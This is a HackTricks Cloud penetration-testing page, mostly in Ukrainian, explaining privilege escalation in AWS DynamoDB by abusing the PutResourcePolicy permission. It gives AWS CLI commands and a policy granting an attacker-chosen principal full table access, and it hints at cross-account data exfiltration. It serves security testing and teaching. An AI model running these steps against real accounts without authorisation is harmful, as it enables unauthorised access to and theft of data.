AWS - DynamoDB Privesc
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
dynamodb
Для додаткової інформації про dynamodb див.:
dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy
З березня 2024 року AWS пропонує політики на рівні ресурсів для DynamoDB (AWS News).
Тобто, якщо у вас є dynamodb:PutResourcePolicy для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці.
Надання dynamodb:PutResourcePolicy випадковому суб'єкту часто відбувається ненавмисно, якщо адміністратори думають, що надання dynamodb:Put* дозволить суб'єкту лише записувати елементи в базу даних — або якщо вони надали цей набір дозволів до березня 2024 року...
Ідеально, якщо у вас також є dynamodb:GetResourcePolicy, щоб ви не перезаписали інші потенційно критичні дозволи, а лише додали потрібні вам дозволи:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Якщо потрібно налаштувати, ось список усіх можливих дій DynamoDB: AWS Documentation. А ось список усіх дій, які можна дозволити через resource based policy AND which of these can be used cross-account (think data exfiltration!): AWS Documentation
Тепер, коли документ політики policy.json готовий, додайте resource policy:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Тепер у вас мають бути потрібні дозволи.
Post Exploitation
Наскільки мені відомо, немає іншого прямого способу to escalate privileges in AWS лише маючи певні AWS dynamodb дозволи. Ви можете читати чутливу інформацію з таблиць (які можуть містити AWS credentials) та записувати інформацію в таблиці (що може спровокувати інші вразливості, наприклад lambda code injections...), але всі ці варіанти вже розглянуті на DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Прочитати дані, зловживаючи data Streams
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud